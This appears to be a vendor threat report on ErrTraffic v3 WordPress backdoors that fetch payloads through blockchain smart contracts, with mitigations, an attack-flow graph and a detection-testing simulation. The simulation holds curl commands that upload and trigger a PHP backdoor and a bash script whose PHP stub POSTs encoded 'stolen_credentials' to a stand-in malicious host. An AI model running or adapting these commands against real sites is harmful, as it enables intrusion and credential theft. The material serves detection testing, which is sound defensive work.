ErrTraffic v3 Uses EtherHiding in ClickFix Campaigns

SOC Prime Team

ErrTraffic v3 Uses EtherHiding in ClickFix Campaigns

Detection stack

AIDR
Alert
ETL
Query

Threat Report
Attack Flow
Detections
Simulations

Summary

The report describes a new campaign that uses the ErrTraffic v3 tool to compromise WordPress sites by installing a mu‑plugin backdoor. The backdoor injects obfuscated JavaScript that retrieves additional payloads via a blockchain‑based EtherHiding technique. The final stage delivers OS‑specific malicious code, including an encrypted PowerShell payload, to victim browsers. Operational security mistakes such as hard‑coded keys expose the infrastructure.

Investigation

LevelBlue SpiderLabs examined the WordPress mu‑plugin backdoor, the embedded JavaScript beacon, and the ErrTraffic V3 control panel. They traced the use of static XOR keys, Base64 decoding, and smart‑contract calls to Polygon RPC nodes. The analysis also identified the hard‑coded authentication key used for API communication and mapped the hosting infrastructure across several bullet‑proof providers.

Mitigation

Defenders should remove the mu‑plugin backdoor, block known malicious TLDs and IP ranges, monitor for the hard‑coded API key usage, and restrict outbound connections to blockchain RPC endpoints. Regularly audit WordPress installations for unexpected mu‑plugins and validate file integrity. Deploy web‑application firewalls to detect the beaconing JavaScript patterns.

Response

Upon detection, isolate the affected web server, remove the backdoor files, and rotate all administrator credentials. Block the identified malicious domains and RPC endpoints at the network perimeter. Conduct a full forensic review to identify any downloaded payloads and monitor for continued C2 activity using the disclosed API token.

"graph TB %% Class definitions classDef action fill:#99ccff %% Node definitions step_initial_access["Action – T1659 Content Injection Exploit WordPress site to upload malicious muu2011plugin (sessionu2011manager.php)"] class step_initial_access action step_persistence["Action – T1671 Cloud Application Integration / T1525 Implant Internal Image Backdoor installed as a mustu2011use plugin running on every request"] class step_persistence action step_credential_access["Action – T1056.003 Input Capture Injected JavaScript captures admin credentials and sends them to attacker"] class step_credential_access action step_c2["Action – T1102.003 Web Service Oneu2011Way Communication Beacon sends visitor data via navigator.sendBeacon to attacker domains"] class step_c2 action step_obfuscation["Action – T1027 Obfuscated Files Payloads encoded with Base64 and XOR, embedded in inline scripts"] class step_obfuscation action step_smart_contract["Action – T1059.009 Cloud API Script queries Polygon RPC endpoints and smart contracts (EtherHiding) for URLs"] class step_smart_contract action step_dead_drop["Action – T1102.001 Uses blockchain as deadu2011drop for C2 configuration"] class step_dead_drop action step_encrypted["Action – T1573.001 Symmetric Cryptography API traffic encrypted with AESu2011GCM or RC4 using hardu2011coded key"] class step_encrypted action step_execution["Action – T1059.001 PowerShell Downloader creates temp directory, writes executable and fetches OSu2011specific payload"] class step_execution action step_priv_esc["Action – T1546.016 Installer Packages PowerShell script registers as installer package to maintain foothold"] class step_priv_esc action %% Connections step_initial_access –>|leads to| step_persistence step_persistence –>|enables| step_credential_access step_credential_access –>|provides| step_c2 step_c2 –>|uses| step_obfuscation step_obfuscation –>|facilitates| step_smart_contract step_smart_contract –>|stores| step_dead_drop step_dead_drop –>|delivers| step_encrypted step_encrypted –>|supports| step_execution step_execution –>|enables| step_priv_esc "

Attack Flow

Attack Narrative & Commands:
An attacker has compromised a WordPress admin account and uploads a malicious PHP file named session-manager.php into the webroot. The file contains a benign‑looking HTML section that ends with an inline <script> block whose comment reads “JavaScript embedded at the end of the section”. The script performs a stealthy data exfiltration to a cloud storage bucket (simulated via a curl POST). No use of navigator.sendBeacon() is present, keeping the request within the rule’s detection window.
1. Upload malicious backdoor:
```
curl -u admin:password -F "file=@session-manager.php" 
 "http://target.example.com/wp-admin/async-upload.php"
```
2. Trigger the backdoor (generates the detection‑triggering telemetry):
```
curl -s "http://target.example.com/wp-content/uploads/session-manager.php?cmd=exfiltrate"
```

Regression Test Script:

#!/usr/bin/env bash
#
# Simulates uploading and invoking a malicious WordPress backdoor
# that contains the exact phrase the Sigma rule watches for.
#
set -euo pipefail

TARGET="http://target.example.com"
ADMIN_USER="admin"
ADMIN_PASS="password"

# 1. Create the malicious PHP payload locally
cat > session-manager.php <<'EOF'
<?php
// JavaScript embedded at the end of the section
echo "<!DOCTYPE html><html><body>";
echo "<script>/* malicious code */</script>";
echo "</body></html>";
// Simple exfiltration stub (no sendBeacon)
if ($_GET['cmd'] === 'exfiltrate') {
    $data = base64_encode('stolen_credentials');
    $url = "https://malicious-storage.example.com/upload";
    $options = array('http'=>array('method'=>"POST",'header'=>"Content-Type: application/x-www-form-urlencodedrn",'content'=>http_build_query(array('data'=>$data))));
    $context = stream_context_create($options);
    file_get_contents($url, false, $context);
}
?>
EOF

# 2. Upload the payload via WordPress’s async upload endpoint
curl -s -u "${ADMIN_USER}:${ADMIN_PASS}" -F "file=@session-manager.php" 
     "${TARGET}/wp-admin/async-upload.php" >/dev/null

echo "[+] Uploaded malicious session-manager.php"

# 3. Invoke the backdoor to generate detection‑visible traffic
curl -s "${TARGET}/wp-content/uploads/session-manager.php?cmd=exfiltrate" >/dev/null

echo "[+] Triggered backdoor – detection telemetry should now be present"

# 4. Optional: pause for SIEM ingestion
sleep 5

Cleanup Commands:

# Remove the malicious file from the server (requires admin SSH access)
ssh admin@target.example.com "rm -f /var/www/html/wp-content/uploads/session-manager.php"
echo "[+] Cleanup complete – backdoor removed"

Join SOC Prime's Detection as Code platform to improve visibility into threats most relevant to your business. To help you get started and drive immediate value, book a meeting now with SOC Prime experts.

Join for Free